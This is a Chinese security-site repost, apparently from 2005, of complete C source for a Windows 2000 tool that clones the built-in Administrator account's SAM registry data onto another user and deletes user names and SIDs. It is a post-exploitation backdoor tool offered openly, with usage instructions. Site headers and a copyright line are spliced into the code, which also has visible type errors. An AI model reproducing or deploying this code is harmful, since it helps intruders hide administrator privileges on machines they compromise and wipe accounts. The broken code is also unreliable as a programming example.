登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 黑客编程 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

克隆/删除任意用户
发表日期:2005-04-29作者:[转贴] 出处:中国红客联盟  

#include <windows.h>
#include <string.h>
#include <stdio.h>
char name[50][30];
int KeyN=0;
//OpenKey(),ViewUser(),ListUser()函数用到的变量
void Sid (char *sid);
//删除安全标识符
void User (char *user);
//删除用户名
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);
//显示用户名对应的安全标识符
int Clone (char *C_sid);
//克隆帐户
void Usage (void);
//帮助信息
void main (int argc, char *argv[])
{
char SID[10];
char C_Sid[10];
char USER[40];
int n;
for (n=1;n<argc;n++)
{
if (argv[n][0] == '-')
克隆/删除任意用户(RingZ_CDUser)
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;
case 'l':
case 'L':ListUser();
break;
case 'c':
case 'C':printf("Please Input Clone SID:");
gets(C_Sid);
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error\n");
break;
case 's':
case 'S':printf("Please Input Delete SID:");
gets(SID);
if (strlen(SID)<=10)
Sid(SID);
else
printf("Error\n");
break;
case 'u':
case 'U':printf("Please Input Delete USER:");
gets(USER);
if (strlen(USER)<=40)
User(USER);
else
printf("Error\n");
break;
}
}
}
}
void Sid (char *sid)
{
HKEY hkey;
DWORD ret;
char C_sid[10];
ZeroMemory(C_sid,10);
strcpy(C_sid,"00000"); //填充SID中的前5位
strcat(C_sid,sid); //传递剩余3位,并继续填充
//打开注册表,成功返回值0(SUCCESS)
ret=RegOpenKey(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
"SAM\\SAM\\Domains\\Account\\Users\\", //要打开的项名
&hkey); //装载打开项的句柄
if (ret==ERROR_SUCCESS)
;
else
return 0;
//删除SID,成功返回值0(SUCCESS)
ret=RegDeleteKey(hkey,C_sid);
if (ret==ERROR_SUCCESS)
printf("Success Delete Key(SID)\n"); //打印成功消息
else
{
printf("Delete Key FAIL(SID)\n"); //打印失败消息
return 0;
}
RegCloseKey(hkey); //关闭以打开的注册表项
}
void User (char *user)
{
HKEY hkey;
DWORD ret;
char C_user[40];
ZeroMemory(C_user,40);
strcpy(C_user,"");
strcat(C_user,user);
ret=RegOpenKey(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\Names\\",
&hkey);
if (ret==ERROR_SUCCESS)
;
else
return 0;
ret=RegDeleteKey(hkey,C_user);
if (ret==ERROR_SUCCESS)
printf("Success Delete Key(USER)\n");
else
{
printf("Delete Key FAIL(USER)\n");
return 0;
}
RegCloseKey(hkey);
}
void OpenKey (char *key)
{
HKEY hkey;
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;
ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数,欲打开的注册表项
0, //未用,设为0即可
KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。
//它们的组合描述了允许对这个项进行哪些操作
&hkey);
for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
//T_name:用于装载指定索引处项名的一个缓冲区
//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
//一旦返回,它会设为实际装载到lpName缓冲区的字符数量
//NULL:未用,设为零
//NULL:项使用的类名
//NULL:用于装载lpClass缓冲区长度的一个变量
//&lpftlast:FILETIME,枚举子项上一次修改的时间
strcat(name[i],T_name);
ZeroMemory(T_name,100);
lpcbname=100;
}
RegCloseKey(hkey);
//拼接用户名
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"\n\r");
}
}
int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
RegQueryValueEx(hkey,NULL,NULL,
&lpType,NULL,NULL);
//NULL:要获取值的名字
//NULL:未用,设为零
//&lpType:用于装载取回数据类型的一个变量
//NULL:用于装载指定值的一个缓冲区
//NULL:用于装载lpData缓冲区长度的一个变量
wsprintf(S_name,"%X\n\r",lpType);
printf("%s",S_name);
return 1;
}
int ListUser (void)
{
int n;
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
char Temp[40]={'\0'};
OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");
for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}
int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);
strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4",
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid,
0,
KEY_ALL_ACCESS,
&C_hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”:要设置值的名字
//0:未用,设为零
//REG_BINARY:要设置的数量类型
//lpDataF:包含数据的缓冲区中的第一个字节
//SizeF:lpData缓冲区的长度
if(ret==ERROR_SUCCESS)
;
else
return 0;
ret=RegSetValueEx(C_hkey,"V",0,
REG_BINARY,
lpDataV,
SizeV);
if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
Copyright ? 2000-2004 HUC All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net
else
{
printf("Clone User FAIL\n");
return 0;
}
RegCloseKey(hkey);
RegCloseKey(C_hkey);
return 1;
}
void Usage (void)
{
fprintf
(stderr,"=====================================================================
"\t 克隆/删除任意用户\n"
"\t环境:Win2K Adv Server + Visual C++ 6.0\n"
"\t作者:dahubaobao\n"
"\t主页:www.RingZ.org\;n"
"\tOICQ:382690\n"
"\t邮件:dahubaobao@hotmail.com\n"
"\t声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!\n"
"\n"
"\t使用方法:\n"
"\t\"-H\":帮助信息\n"
"\t\"-L\":列出系统中用户对应的SID\n"
"\t\"-C\":克隆帐户,输入SID即可\n"
"\t\"-S\":删除SID\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t\"-U\":删除用户名\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
"\n"
"\t注意事项:\n"
"\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"
"\t例如:000001F5,则直接输入1F5,即可将Guest帐户删除\n"
"\t使用Regedt32将SAM键修改为Administrators可以访问\n"
"\t使用-C参数后,会弹出\"Clone SID:\"提示符,只需输入相应的SID即可克隆\n"
"\t使用-S参数后,会弹出\"Delete SID:\"提示符,只需输入相应的SID即可删除\n"
"\t使用-U参数后,会弹出\"Delete USER:\"提示符,只需输入相应的用户名即可删除\n"
"==========================================================================

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 克隆/删除任意用户

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00136